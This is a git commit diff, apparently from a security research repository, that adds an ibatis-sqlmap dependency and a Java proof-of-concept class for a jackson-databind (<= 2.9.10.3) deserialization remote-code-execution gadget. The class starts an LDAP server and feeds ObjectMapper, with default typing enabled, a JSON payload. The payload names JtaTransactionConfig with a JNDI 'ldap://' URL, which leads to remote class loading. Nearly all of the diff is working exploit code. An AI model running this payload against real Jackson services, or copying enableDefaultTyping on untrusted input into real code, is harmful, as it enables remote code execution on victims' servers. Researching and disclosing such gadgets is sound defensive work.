feat:jackson新gadget（ibatis-sqlmap）

Author: threedr3am

jackson/pom.xml

@@ -77,7 +77,13 @@
     <dependency>
       <groupId>javax</groupId>
       <artifactId>javaee-api</artifactId>
-      <version>6.0</version>
+      <version>8.0.1</version>
+    </dependency>
+
+    <dependency>
+      <groupId>org.apache.ibatis</groupId>
+      <artifactId>ibatis-sqlmap</artifactId>
+      <version>2.3.4.726</version>
     </dependency>
   </dependencies>
 

jackson/src/main/java/com/threedr3am/bug/jackson/IbatisSqlmapPoc.java

@@ -0,0 +1,43 @@
+package com.threedr3am.bug.jackson;
+
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.threedr3am.bug.common.server.LdapServer;
+import java.io.IOException;
+
+/**
+ *
+ * jackson-databind <= 2.9.10.3 RCE，需要开启DefaultType (reported by threedr3am to the authorities)
+ *
+ * <dependency>
+ *       <groupId>org.apache.ibatis</groupId>
+ *       <artifactId>ibatis-sqlmap</artifactId>
+ *       <version>2.3.4.726</version>
+ * </dependency>
+ *
+ * <dependency>
+ *       <groupId>javax</groupId>
+ *       <artifactId>javaee-api</artifactId>
+ *       <version>8.0.1</version>
+ * </dependency>
+ *
+ * @author threedr3am
+ */
+public class IbatisSqlmapPoc {
+
+  static {
+    //rmi server示例
+//    RmiServer.run();
+
+    //ldap server示例
+    LdapServer.run();
+  }
+
+  public static void main(String[] args) throws IOException {
+    ObjectMapper mapper = new ObjectMapper();
+    mapper.enableDefaultTyping();
+
+    String json = "[\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\", {\"properties\": {\"UserTransaction\":\"ldap://localhost:43658/Calc\"}}]";
+    mapper.readValue(json, Object.class);
+  }
+
+}